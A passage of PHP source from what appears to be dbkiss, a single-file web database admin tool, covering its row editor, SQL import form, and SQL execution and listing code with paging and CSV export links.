2937 $s = html_tags_undo($s);
2938 }
2939 if (in_array(trim(strtolower($s)), array('<br>', '<p> </p>'))) {
2940 return '';
2941 }
2942 $SafeHtml->clear();
2943 $s = $SafeHtml->parse($s);
2944 return trim($s);
2945}
2946function filter_allow_html_script($s)
2947{
2948 if (in_array(trim(strtolower($s)), array('<br>', '<p> </p>'))) {
2949 return '';
2950 }
2951 if (req_gpc_has($s)) {
2952 $s = html_tags_undo($s);
2953 }
2954 return trim($s);
2955}
2956function filter_editor($s)
2957{
2958 return filter_allow_html($s);
2959}
2960function date_now()
2961{
2962 return date('Y-m-d H:i:s');
2963}
2964function guess_pk($rows)
2965{
2966 if (!count($rows)) {
2967 return false;
2968 }
2969 $patterns = array('#^\d+$#', '#^[^\s]+$#');
2970 $row = array_first($rows);
2971 foreach ($patterns as $pattern)
2972 {
2973 foreach ($row as $col => $v) {
2974 if ($v && preg_match($pattern, $v)) {
2975 if (array_col_match_unique($rows, $col, $pattern)) {
2976 return $col;
2977 }
2978 }
2979 }
2980 }
2981 return false;
2982}
2983function layout_start($title='')
2984{
2985 global $page_charset;
2986 $flash = flash();
2987 ?>
2988
2989 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
2990 <html>
2991 <head>
2992 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
2993 <title><?php echo $title;?></title>
2994 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
2995 <script>
2996 function $(id)
2997 {
2998 if (typeof id == 'string') return document.getElementById(id);
2999 return id;
3000 }
3001 </script>
3002 </head>
3003 <body>
3004
3005 <?php layout(); ?>
3006
3007 <?php if ($flash) { echo $flash; } ?>
3008
3009 <?php
3010}
3011function layout_end()
3012{
3013 ?>
3014 <?php powered_by(); ?>
3015 </body>
3016 </html>
3017 <?php
3018}
3019function powered_by()
3020{
3021 ?>
3022 <script>
3023 function link_noreferer(link)
3024 {
3025 // Tested: Chrome, Firefox, Inetrnet Explorer, Opera.
3026 var w = window.open("about:blank", "_blank");
3027 w.document.open();
3028 w.document.write("<"+"!doctype html>");
3029 w.document.write("<"+"html><"+"head>");
3030 w.document.write("<"+"title>Secure redirection - no referer</title>");
3031 w.document.write("<"+"style>body { font: 11px Tahoma; }<"+"/style>");
3032 w.document.write("<"+"meta http-equiv=refresh content='10;url="+link+"'>");
3033 // Meta.setAttribute() doesn't work on firefox.
3034 // Firefox: needs document.write('<meta>')
3035 // IE: the firefox workaround doesn't work on ie, but we can use a normal redirection
3036 // as IE is already not sending the referer because it does not do it when using
3037 // open.window, besides the blank url in address bar works fine (about:blank).
3038 // Opera: firefox fix works.
3039 w.document.write("<"+"script>function redirect() { if (navigator.userAgent.indexOf('MSIE') != -1) { location.replace('"+link+"'); } else { document.open(); document.write('<"+"meta http-equiv=refresh content=\"0;"+link+"\">'); document.close(); } }<"+"/script>");
3040 w.document.write("<"+"/head><"+"body>");
3041 w.document.write("<"+"h1>Secure redirection - no referer<"+"/h1>");
3042 w.document.write("<"+"p>This is a secure redirection that hides the HTTP REFERER header - using javascript and meta refresh combination.");
3043 w.document.write("<br>The site you are being redirected will not know the location of the dbkiss script on your site.<"+"/p>");
3044 w.document.write("<"+"p>In a few seconds you will be redirected or you can click the link (also secure): <"+"a href='javascript:void(0)' onclick='redirect()'>"+link+"<"+"/a><"+"/p>");
3045 w.document.write("<"+"/body><"+"/html>");
3046 w.document.close();
3047 }
3048 </script>
3049 <div style="text-align: center; margin-top: 2em; border-top: #ccc 1px solid; padding-top: 0.5em;">Powered by <a href="javascript:void(0)" onclick="link_noreferer('http://www.gosu.pl/dbkiss/')">dbkiss</a></div>
3050 <?php
3051}
3052
3053?>
3054<?php if (get('import')): ?>
3055
3056 <?php
3057
3058 // ----------------------------------------------------------------
3059 // IMPORT
3060 // ----------------------------------------------------------------
3061
3062 ?>
3063
3064 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
3065 <html>
3066 <head>
3067 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
3068 <title><?php echo $db_name_h1?$db_name_h1:$db_name;?> > Import</title>
3069 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
3070 </head>
3071 <body>
3072
3073 <?php layout(); ?>
3074 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Import</h1>
3075 <?php conn_info(); ?>
3076
3077 <?php $files = sql_files(); ?>
3078
3079 <?php if (count($files)): ?>
3080 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
3081 <table class="none" cellspacing="0" cellpadding="0">
3082 <tr>
3083 <td>SQL file:</th>
3084 <td><select name="sqlfile"><option value="" selected="selected"></option><?php echo options($files);?></select></td>
3085 <td><input type="checkbox" name="ignore_errors" id="ignore_errors" value="1"></td>
3086 <td><label for="ignore_errors">ignore errors</label></td>
3087 <td><input type="checkbox" name="transaction" id="transaction" value="1"></td>
3088 <td><label for="transaction">transaction</label></td>
3089 <td><input type="checkbox" name="force_myisam" id="force_myisam" value="1"></td>
3090 <td><label for="force_myisam">force myisam</label></td>
3091 <td><input type="text" size="5" name="query_start" value=""></td>
3092 <td>query start</td>
3093 <td><input type="submit" value="Import"></td>
3094 </tr>
3095 </table>
3096 </form>
3097 <br>
3098 <?php else: ?>
3099 No sql files found in current directory.
3100 <?php endif; ?>
3101
3102 <?php powered_by(); ?>
3103
3104 </body></html>
3105
3106<?php exit; endif; ?>
3107<?php if ('editrow' == get('action')): ?>
3108<?php
3109 function dbkiss_filter_id($id)
3110 {
3111 if (preg_match('#^[_a-z][a-z0-9_\-]*$#i', $id)) {
3112 return $id;
3113 }
3114 return false;
3115 }
3116
3117 $get = get(array(
3118 'table' => 'string',
3119 'pk' => 'string',
3120 'id' => 'string'
3121 ));
3122
3123 $get['table'] = html_once($get['table']);
3124 $get['pk'] = html_once($get['pk']);
3125
3126 $title_edit = sprintf('Edit row (%s=%s)', $get['pk'], $get['id']);
3127 $title = ' > '.$get['table'].' > '.$title_edit;
3128
3129 if (!dbkiss_filter_id($get['table'])) {
3130 error('Invalid table name');
3131 }
3132 if (!dbkiss_filter_id($get['pk'])) {
3133 error('Invalid pk');
3134 }
3135
3136 $row = false;
3137
3138 if (!error())
3139 {
3140 $table_enq = quote_table($get['table']);
3141 $test = db_row("SELECT * FROM $table_enq");
3142 if ($test) {
3143 if (!array_key_exists($get['pk'], $test)) {
3144 error('Invalid pk');
3145 }
3146 }
3147 if (!error())
3148 {
3149 $table_enq = quote_table($get['table']);
3150 $query = db_bind("SELECT * FROM $table_enq WHERE {$get['pk']} = %0", $get['id']);
3151 $query = db_limit($query, 0, 2);
3152 $rows = db_list($query);
3153 if (count($rows) > 1) {
3154 error('Invalid pk: found more than one row with given id');
3155 } else if (count($rows) == 0) {
3156 error('Row not found');
3157 } else {
3158 $row = $rows[0];
3159 $row_id = $row[$get['pk']];
3160 }
3161 }
3162 }
3163
3164 if ($row) {
3165 $types = table_types2($get['table']);
3166 }
3167
3168 $edit_actions_assoc = array(
3169 'update' => 'Update',
3170 'update_pk' => 'Overwrite pk',
3171 'insert' => 'Copy row (insert)',
3172 'delete' => 'Delete'
3173 );
3174
3175 $edit_action = post('dbkiss_action');
3176
3177 if ($_ENV['IS_GET'])
3178 {
3179 $edit_action = array_first_key($edit_actions_assoc);
3180 $post = $row;
3181 }
3182
3183 if ($_ENV['IS_POST'])
3184 {
3185 if (!array_key_exists($edit_action, $edit_actions_assoc)) {
3186 $edit_action = '';
3187 error('Invalid action');
3188 }
3189
3190 $post = array();
3191 foreach ($row as $k => $v) {
3192 if (array_key_exists($k, $_POST)) {
3193 $val = (string) $_POST[$k];
3194 if ('null' == $val) {
3195 $val = null;
3196 }
3197 if ('int' == $types[$k]) {
3198 if (!strlen($val)) {
3199 $val = null;
3200 }
3201 if (!(preg_match('#^-?\d+$#', $val) || is_null($val))) {
3202 error('%s: invalid value', $k);
3203 }
3204 }
3205 if ('float' == $types[$k]) {
3206 if (!strlen($val)) {
3207 $val = null;
3208 }
3209 $val = str_replace(',', '.', $val);
3210 if (!(is_numeric($val) || is_null($val))) {
3211 error('%s: invalid value', $k);
3212 }
3213 }
3214 if ('time' == $types[$k]) {
3215 if (!strlen($val)) {
3216 $val = null;
3217 }
3218 if ('now' == $val) {
3219 $val = date_now();
3220 }
3221 }
3222 $post[$k] = $val;
3223 } else {
3224 error('Missing key: %s in POST', $k);
3225 }
3226 }
3227
3228 if ('update' == $edit_action)
3229 {
3230 if ($post[$get['pk']] != $row[$get['pk']]) {
3231 if (count($row) != 1) { // Case: more than 1 column
3232 error('%s: cannot change pk on UPDATE', $get['pk']);
3233 }
3234 }
3235 }
3236 if ('update_pk' == $edit_action)
3237 {
3238 if ($post[$get['pk']] == $row[$get['pk']]) {
3239 error('%s: selected action Overwrite pk, but pk value has not changed', $get['pk']);
3240 }
3241 }
3242 if ('insert' == $edit_action)
3243 {
3244 if (strlen($post[$get['pk']])) {
3245 $table_enq = quote_table($get['table']);
3246 $test = db_row("SELECT * FROM $table_enq WHERE {$get['pk']} = %0", array($post[$get['pk']]));
3247 if ($test) {
3248 error('%s: there is already a record with that id', $get['pk']);
3249 }
3250 }
3251 }
3252
3253 if (!error())
3254 {
3255 $post2 = $post;
3256 if ('update' == $edit_action)
3257 {
3258 if (count($row) != 1) { // Case: more than 1 column
3259 unset($post2[$get['pk']]);
3260 }
3261 db_update($get['table'], $post2, array($get['pk'] => $row_id));
3262 if (db_error()) {
3263 error('<font color="red"><b>DB error</b></font>: '.db_error());
3264 } else {
3265 if (count($row) == 1) { // Case: only 1 column
3266 redirect_ok(url(self(), array('id'=>$post[$get['pk']])), 'Row updated');
3267 } else {
3268 redirect_ok(self(), 'Row updated');
3269 }
3270 }
3271 }
3272 if ('update_pk' == $edit_action)
3273 {
3274 @db_update($get['table'], $post2, array($get['pk'] => $row_id));
3275 if (db_error()) {
3276 error('<font color="red"><b>DB error</b></font>: '.db_error());
3277 } else {
3278 $url = url(self(), array('id' => $post[$get['pk']]));
3279 redirect_ok($url, 'Row updated (pk overwritten)');
3280 }
3281 }
3282 if ('insert' == $edit_action)
3283 {
3284 $new_id = false;
3285 if (!strlen($post2[$get['pk']])) {
3286 unset($post2[$get['pk']]);
3287 } else {
3288 $new_id = $post2[$get['pk']];
3289 }
3290 @db_insert($get['table'], $post2);
3291 if (db_error()) {
3292 error('<font color="red"><b>DB error</b></font>: '.db_error());
3293 } else {
3294 if (!$new_id) {
3295 $new_id = db_insert_id($get['table'], $get['pk']);
3296 }
3297 $url = url(self(), array('id'=>$new_id));
3298 $msg = sprintf('Row inserted (%s=%s)', $get['pk'], $new_id);
3299 redirect_ok($url, $msg);
3300 }
3301 }
3302 if ('delete' == $edit_action)
3303 {
3304 $table_enq = quote_table($get['table']);
3305 @db_exe("DELETE FROM $table_enq WHERE {$get['pk']} = %0", $get['id']);
3306 if (db_error()) {
3307 error('<font color="red"><b>DB error</b></font>: '.db_error());
3308 } else {
3309 redirect_ok(self(), 'Row deleted');
3310 }
3311 }
3312 }
3313 }
3314
3315 ?>
3316<?php layout_start($title_edit); ?>
3317 <h1><span style="<?php echo $db_name_style;?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></span><?php echo $title;?></h1>
3318
3319 <?php echo error();?>
3320
3321 <?php if ($row): ?>
3322
3323 <form action="<?php echo self();?>" method="post">
3324
3325 <?php echo radio_assoc($edit_action, $edit_actions_assoc, 'dbkiss_action');?></td>
3326 <br>
3327
3328 <table cellspacing="1" class="ls ls2">
3329 <?php foreach ($post as $k => $v): if (is_null($v)) { $v = 'null'; } $v = htmlspecialchars($v); ?>
3330 <tr>
3331 <th><?php echo $k;?>:</th>
3332 <td>
3333 <?php if ('int' == $types[$k]): ?>
3334 <input type="text" name="<?php echo $k;?>" value="<?php echo html_once($v);?>" size="11">
3335 <?php elseif ('char' == $types[$k]): ?>
3336 <input type="text" name="<?php echo $k;?>" value="<?php echo html_once($v);?>" size="50">
3337 <?php elseif (in_array($types[$k], array('text', 'mediumtext', 'longtext')) || str_has($types[$k], 'blob')): ?>
3338 <textarea name="<?php echo $k;?>" cols="80" rows="<?php echo $k=='notes'?10:10;?>"><?php echo html_once($v);?></textarea>
3339 <?php else: ?>
3340 <input type="text" name="<?php echo $k;?>" value="<?php echo html_once($v);?>" size="30">
3341 <?php endif; ?>
3342 </td>
3343 <td valign="top"><?php echo $types[$k];?></td>
3344 </tr>
3345 <?php endforeach; ?>
3346 <tr>
3347 <td colspan="3" class="none">
3348 <input type="submit" wait="1" block="1" class="button" value="Edit">
3349 </td>
3350 </tr>
3351 </table>
3352
3353 </form>
3354
3355 <?php endif; ?>
3356
3357 <?php layout_end(); ?>
3358
3359<?php exit; endif; ?>
3360<?php if (isset($_GET['execute_sql']) && $_GET['execute_sql']): ?>
3361<?php
3362
3363function listing($base_query, $md5_get = false)
3364{
3365 global $db_driver, $db_link;
3366
3367 $md5_i = false;
3368 if ($md5_get) {
3369 preg_match('#_(\d+)$#', $md5_get, $match);
3370 $md5_i = $match[1];
3371 }
3372
3373 $base_query = trim($base_query);
3374 $base_query = str_cut_end($base_query, ';');
3375
3376 $query = $base_query;
3377 $ret = array('msg'=>'', 'error'=>'', 'data_html'=>false);
3378 $limit = 25;
3379 $offset = get('offset','int');
3380 $page = floor($offset / $limit + 1);
3381
3382 if ($query) {
3383 if (is_select($query) && !preg_match('#\s+LIMIT\s+\d+#i', $query) && !preg_match('#into\s+outfile\s+#', $query)) {
3384 $query = db_limit($query, $offset, $limit);
3385 } else {
3386 $limit = false;
3387 }
3388 $time = time_start();
3389 if (!db_is_safe($query, true)) {
3390 $ret['error'] = 'Detected UPDATE/DELETE without WHERE condition (put WHERE 1=1 if you want to execute this query)';
3391 return $ret;
3392 }
3393 $rs = @db_query($query);
3394 if ($rs) {
3395 if ($rs === true) {
3396 if ('mysql' == $db_driver)
3397 {
3398 $affected = mysql_affected_rows($db_link);
3399 $time = time_end($time);
3400 $ret['data_html'] = '<b>'.$affected.'</b> rows affected.<br>Time: <b>'.$time.'</b> sec';
3401 return $ret;
3402 }
3403 } else {
3404 if ('pgsql' == $db_driver)
3405 {
3406 $affected = @pg_affected_rows($rs);
3407 if ($affected || preg_match('#^\s*(DELETE|UPDATE)\s+#i', $query)) {
3408 $time = time_end($time);
3409 $ret['data_html'] = '<p><b>'.$affected.'</b> rows affected. Time: <b>'.$time.'</b> sec</p>';
3410 return $ret;
3411 }
3412 }
3413 }
3414
3415 $rows = array();
3416 while ($row = db_row($rs)) {
3417 $rows[] = $row;
3418 if ($limit) {
3419 if (count($rows) == $limit) { break; }
3420 }
3421 }
3422 db_free($rs);
3423
3424 if (is_select($base_query)) {
3425 $found = @db_one("SELECT COUNT(*) FROM ($base_query) AS sub");
3426 if (!is_numeric($found) || (count($rows) && !$found)) {
3427 global $COUNT_ERROR;
3428 $COUNT_ERROR = ' (COUNT ERROR) ';
3429 $found = count($rows);
3430 }
3431 } else {
3432 if (count($rows)) {
3433 $found = count($rows);
3434 } else {
3435 $found = false;
3436 }
3437 }
3438 if ($limit) {
3439 $pages = ceil($found / $limit);
3440 } else {
3441 $pages = 1;
3442 }
3443 $time = time_end($time);
3444
3445 } else {
3446 $ret['error'] = db_error();
3447 return $ret;
3448 }
3449 } else {
3450 $ret['error'] = 'No query found.';
3451 return $ret;
3452 }
3453
3454 ob_start();
3455?>
3456 <?php if (is_numeric($found)): ?>
3457 <p>
3458 Found: <b><?php echo $found;?></b><?php echo isset($GLOBALS['COUNT_ERROR'])?$GLOBALS['COUNT_ERROR']:'';?>.
3459 Time: <b><?php echo $time;?></b> sec.
3460 <?php
3461 $params = array('md5'=>$md5_get, 'offset'=>get('offset','int'));
3462 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3463 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3464 ?>
3465 / <a href="<?php echo url(self(), $params);?>">Refetch</a>
3466 / Export to CSV:
3467
3468 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode('|');?>&query=<?php echo base64_encode($base_query); ?>">pipe</a>
3469 -
3470 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode("\t");?>&query=<?php echo base64_encode($base_query); ?>">tab</a>
3471 -
3472 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(',');?>&query=<?php echo base64_encode($base_query); ?>">comma</a>
3473 -
3474 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(';');?>&query=<?php echo base64_encode($base_query); ?>">semicolon</a>
3475 </p>
3476 <?php else: ?>
3477 <p>Result: <b>OK</b>. Time: <b><?php echo $time;?></b> sec</p>
3478 <?php endif; ?>
3479
3480 <?php if (is_numeric($found)): ?>
3481
3482 <?php if ($pages > 1): ?>
3483 <p>
3484 <?php if ($page > 1): ?>
3485 <?php $ofs = ($page-1)*$limit-$limit; ?>
3486 <?php
3487 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3488 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3489 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3490 ?>
3491 <a href="<?php echo url(self(), $params);?>"><< Prev</a>
3492 <?php endif; ?>
3493 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
3494 <?php if ($pages > $page): ?>
3495 <?php $ofs = $page*$limit; ?>
3496 <?php
3497 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3498 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3499 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3500 ?>
3501 <a href="<?php echo url(self(), $params);?>">Next >></a>
3502 <?php endif; ?>
3503 </p>
3504 <?php endif; ?>
3505
3506 <script>
3507 function mark_row(tr)
3508 {
3509 var els = tr.getElementsByTagName('td');
3510 if (tr.marked) {
3511 for (var i = 0; i < els.length; i++) {
3512 els[i].style.backgroundColor = '';
3513 }
3514 tr.marked = false;
3515 } else {
3516 tr.marked = true;
3517 for (var i = 0; i < els.length; i++) {
3518 els[i].style.backgroundColor = '#ddd';
3519 }
3520 }
3521 }
3522 </script>
3523
3524 <?php if ($found): ?>
3525
3526 <?php
3527 $edit_table = table_from_query($base_query);
3528 if ($edit_table) {
3529 $edit_pk = array_first_key($rows[0]);
3530 if (is_numeric($edit_pk)) { $edit_table = false; }
3531 }
3532 if ($edit_table) {
3533 $types = table_types2($edit_table);
3534 if ($types && count($types)) {
3535 if (in_array($edit_pk, array_keys($types))) {
3536 if (!array_col_match_unique($rows, $edit_pk, '#^\d+$#')) {
3537 $edit_pk = guess_pk($rows);
3538 if (!$edit_pk) {
3539 $edit_table = false;
3540 }
3541 }
3542 } else {
3543 $edit_table = false;
3544 }
3545 } else {
3546 $edit_table = false;
3547 }
3548 }
3549 $edit_url = '';
3550 if ($edit_table) {
3551 $edit_url = url(self(true), array('action'=>'editrow', 'table'=>$edit_table, 'pk'=>$edit_pk, 'id'=>'%s'));
3552 }
3553 ?>
3554
3555 <table class="ls" cellspacing="1">
3556 <tr>
3557 <?php if ($edit_url): ?><th>#</th><?php endif; ?>
3558 <?php foreach ($rows[0] as $col => $v): ?>
3559 <th><?php echo $col;?></th>
3560 <?php endforeach; ?>
3561 </tr>
3562 <?php foreach ($rows as $row): ?>
3563 <tr ondblclick="mark_row(this)">
3564 <?php if ($edit_url): ?>
3565 <td><a href="javascript:void(0)" onclick="popup('<?php echo sprintf($edit_url, $row[$edit_pk]);?>', 620, 500)">Edit</a> </td>
3566 <?php endif; ?>
3567 <?php
3568 $count_cols = 0;
3569 foreach ($row as $v) { $count_cols++; }
3570 ?>
3571 <?php foreach ($row as $k => $v): ?>
3572 <?php
3573 if (preg_match('#^\s*<a[^>]+>[^<]+</a>\s*$#iU', $v) && strlen(strip_tags($v)) < 50) {
3574 $v = strip_tags($v, '<a>');
3575 } else {
3576 $v = strip_tags($v);
3577 $v = str_replace(' ', ' ', $v);
3578 $v = preg_replace('#[ ]+#', ' ', $v);
3579 if (!get('full_content') && strlen($v) > 50) {
3580 if (1 == $count_cols) {
3581 $v = str_truncate($v, 255);
3582 } else {
3583 $v = str_truncate($v, 50);
3584 }
3585 }
3586 $v = html_once($v);
3587 }
3588 $nl2br = get('nl2br');
3589 if (get('full_content')) {
3590 $v = str_wrap($v, 80, '<br>');
3591 }
3592 if (get('nl2br')) {
3593 $v = nl2br($v);
3594 }
3595 //$v = stripslashes(stripslashes($v));
3596 if (@$types[$k] == 'int' && (preg_match('#time#i', $k) || preg_match('#date#i', $k))
3597 && preg_match('#^\d+$#', $v))
3598 {
3599 $tmp = @date('Y-m-d H:i', $v);
3600 if ($tmp) {
3601 $v = $tmp;
3602 }
3603 }
3604 global $post;
3605 if (str_has($post['sql'], '@gethostbyaddr') && (preg_match('#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $v))) {
3606 $v = $v.'<br>'.@gethostbyaddr($v);
3607 }
3608 ?>
3609 <td onclick="mark_col(this)" <?php echo $nl2br?'valign="top"':'';?> nowrap><?php echo is_null($row[$k])?'-':$v;?></td>
3610 <?php endforeach; ?>
3611 </tr>
3612 <?php endforeach; ?>
3613 </table>
3614
3615 <?php endif; ?>
3616
3617 <?php if ($pages > 1): ?>
3618 <p>
3619 <?php if ($page > 1): ?>
3620 <?php $ofs = ($page-1)*$limit-$limit; ?>
3621 <?php
3622 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3623 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3624 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3625 ?>
3626 <a href="<?php echo url(self(), $params);?>"><< Prev</a>
3627 <?php endif; ?>
3628 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
3629 <?php if ($pages > $page): ?>
3630 <?php $ofs = $page*$limit; ?>
3631 <?php
3632 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3633 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3634 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3635 ?>
3636 <a href="<?php echo url(self(), $params);?>">Next >></a>
3637 <?php endif; ?>
3638 </p>
3639 <?php endif; ?>
3640
3641 <?php endif; ?>
3642
3643<?php
3644 $cont = ob_get_contents();
3645 ob_end_clean();
3646 $ret['data_html'] = $cont;
3647 return $ret;
3648}
3649
3650?>
3651<?php
3652
3653 // ----------------------------------------------------------------
3654 // EXECUTE SQL
3655 // ----------------------------------------------------------------
3656
3657 set_time_limit(0);
3658
3659 $template = get('template');
3660 $msg = '';
3661 $error = '';
3662 $top_html = '';
3663 $data_html = '';
3664
3665 $get = get(array(
3666 'popup'=> 'int',
3667 'md5' => 'string',
3668 'only_marked' => 'bool',
3669 'only_select' => 'bool'
3670 ));
3671 $post = post(array(
3672 'sql' => 'string',
3673 'perform' => 'string',
3674 'only_marked' => 'bool',
3675 'only_select' => 'bool',
3676 'save_as' => 'string',
3677 'load_from' => 'string'
3678 ));
3679
3680 if ($get['md5']) {
3681 $get['only_select'] = true;
3682 $post['only_select'] = true;
3683 }
3684
3685 if ($get['only_marked']) { $post['only_marked'] = 1; }
3686 if ($get['only_select']) { $post['only_select'] = 1; }
3687
3688 $sql_dir = false;
3689 if (defined('DBKISS_SQL_DIR')) {
3690 $sql_dir = DBKISS_SQL_DIR;
3691 }
3692
3693 if ($sql_dir) {
3694 if (!(dir_exists($sql_dir) && is_writable($sql_dir))) {
3695 if (!dir_exists($sql_dir) && is_writable('.')) {
3696 mkdir($sql_dir);
3697 } else {
3698 exit('You must create "'.$sql_dir.'" directory with write permission.');
3699 }
3700 }
3701 if (!file_exists($sql_dir.'/.htaccess')) {
3702 file_put($sql_dir.'/.htaccess', 'deny from all');
3703 }
3704 if (!file_exists($sql_dir.'/index.html')) {
3705 file_put($sql_dir.'/index.html', '');
3706 }
3707 }
3708
3709 if ('GET' == $_SERVER['REQUEST_METHOD']) {
3710 if ($sql_dir)
3711 {
3712 if ($get['md5'] && preg_match('#^(\w{32,32})_(\d+)$#', $get['md5'], $match)) {
3713 $md5_i = $match[2];
3714 $md5_tmp = sprintf($sql_dir.'/zzz_%s.dat', $match[1]);
3715 $post['sql'] = file_get($md5_tmp);
3716 $_SERVER['REQUEST_METHOD'] = 'POST';
3717 $post['perform'] = 'execute';
3718 } else if ($get['md5'] && preg_match('#^(\w{32,32})$#', $get['md5'], $match)) {
3719 $md5_tmp = sprintf($sql_dir.'/zzz_%s.dat', $match[1]);
3720 $post['sql'] = file_get($md5_tmp);
3721 $get['md5'] = '';
3722 } else {
3723 if ($get['md5']) {
3724 trigger_error('invalid md5', E_USER_ERROR);
3725 }
3726 }
3727 }
3728 } else {
3729 $get['md5'] = '';
3730 }
3731
3732 if (str_has($post['sql'], '@nl2br')) {
3733 $_GET['nl2br'] = 1;
3734 }
3735 if (str_has($post['sql'], '@full_content')) {
3736 $_GET['full_content'] = 1;
3737 }
3738
3739 $post['sql'] = trim($post['sql']);
3740 $md5 = md5($post['sql']);
3741 $md5_file = sprintf($sql_dir.'/zzz_%s.dat', $md5);
3742 if ($sql_dir && $post['sql']) {
3743 file_put($md5_file, $post['sql']);
3744 }
3745
3746 if ($sql_dir && 'save' == $post['perform'] && $post['save_as'] && $post['sql'])
3747 {
3748 $post['save_as'] = str_replace('.sql', '', $post['save_as']);
3749 if (preg_match('#^[\w ]+$#', $post['save_as'])) {
3750 $file = $sql_dir.'/'.$post['save_as'].'.sql';
3751 $overwrite = '';
3752 if (file_exists($file)) {
3753 $overwrite = ' - <b>overwritten</b>';
3754 $bak = $sql_dir.'/zzz_'.$post['save_as'].'_'.md5(file_get($file)).'.dat';
3755 copy($file, $bak);
3756 }
3757 $msg .= sprintf('<div>Sql saved: %s %s</div>', basename($file), $overwrite);
3758 file_put($file, $post['sql']);
3759 } else {
3760 error('Saving sql failed: only alphanumeric chars are allowed');
3761 }
3762 }
3763
3764 if ($sql_dir) {
3765 $load_files = dir_read($sql_dir, null, array('.sql'), 'date_desc');
3766 }
3767 $load_assoc = array();
3768 if ($sql_dir) {
3769 foreach ($load_files as $file) {
3770 $file_path = $file;
3771 $file = basename($file);
3772 $load_assoc[$file] = '('.substr(file_date($file_path), 0, 10).')'.' ' .$file;
3773 }
3774 }
3775
3776 if ($sql_dir && 'load' == $post['perform'])
3777 {
3778 $file = $sql_dir.'/'.$post['load_from'];
3779 if (array_key_exists($post['load_from'], $load_assoc) && file_exists($file)) {
3780 $msg .= sprintf('<div>Sql loaded: %s (%s)</div>', basename($file), timestamp(file_date($file)));
3781 $post['sql'] = file_get($file);
3782 $post['save_as'] = basename($file);
3783 $post['save_as'] = str_replace('.sql', '', $post['save_as']);
3784 } else {
3785 error('<div>File not found: %s</div>', $file);
3786 }
3787 }
3788
3789 // after load - md5 may change
3790 $md5 = md5($post['sql']);
3791
3792 if ($sql_dir && 'load' == $post['perform'] && !error()) {
3793 $md5_tmp = sprintf($sql_dir.'/zzz_%s.dat', $md5);
3794 file_put($md5_tmp, $post['sql']);
3795 }
3796
3797 $is_sel = false;
3798
3799 $queries = preg_split("#;(\s*--[ \t\S]*)?(\r\n|\n|\r)#U", $post['sql']);
3800 foreach ($queries as $k => $query) {
3801 $query = query_strip($query);
3802 if (str_starts_with($query, '@')) {
3803 $is_sel = true;
3804 }
3805 $queries[$k] = $query;
3806 if (!trim($query)) { unset($queries[$k]); }
3807 }
3808
3809 $sql_assoc = array();
3810 $sql_selected = false;
3811 $i = 0;
3812
3813 $params = array(
3814 'md5' => $md5,
3815 'only_marked' => $post['only_marked'],
3816 'only_select' => $post['only_select'],
3817 'offset' => ''
3818 );
3819 $sql_main_url = url(self(), $params);
3820
3821 foreach ($queries as $query) {
3822 $i++;
3823 $query = str_cut_start($query, '@');
3824 if (!is_select($query)) {
3825 continue;
3826 }
3827 $query = preg_replace('#\s+#', ' ', $query);
3828 $params = array(
3829 'md5' => $md5.'_'.$i,
3830 'only_marked' => $post['only_marked'],
3831 'only_select' => $post['only_select'],
3832 'offset' => ''
3833 );
3834 $url = url(self(), $params);
3835 if ($get['md5'] && $get['md5'] == $params['md5']) {
3836 $sql_selected = $url;
3837 }
3838 $sql_assoc[$url] = str_truncate(strip_tags($query), 80);
3839 }
3840
3841 if ('POST' == $_SERVER['REQUEST_METHOD'])
3842 {
3843 if (!$post['perform']) {
3844 $error = 'No action selected.';
3845 }
3846 if (!$error)
3847 {
3848 $time = time_start();
3849 switch ($post['perform']) {
3850 case 'execute':
3851 $i = 0;
3852 db_begin();
3853 $commit = true;
3854 foreach ($queries as $query)
3855 {
3856 $i++;
3857 if ($post['only_marked'] && !$is_sel) {
3858 if (!$get['md5']) { continue; }
3859 }
3860 if ($is_sel) {
3861 if (str_starts_with($query, '@')) {
3862 $query = str_cut_start($query, '@');
3863 } else {
3864 if (!$get['md5']) { continue; }
3865 }
3866 }
3867 if ($post['only_select'] && !is_select($query)) {
3868 continue;
3869 }
3870 if ($get['md5'] && $i != $md5_i) {
3871 continue;
3872 }
3873 if ($get['md5'] && $i == $md5_i) {
3874 if (!is_select($query)) {
3875 trigger_error('not select query', E_USER_ERROR);
3876 }
3877 }
3878
3879 $exec = listing($query, $md5.'_'.$i);
3880 $query_trunc = str_truncate(html_once($query), 1000);
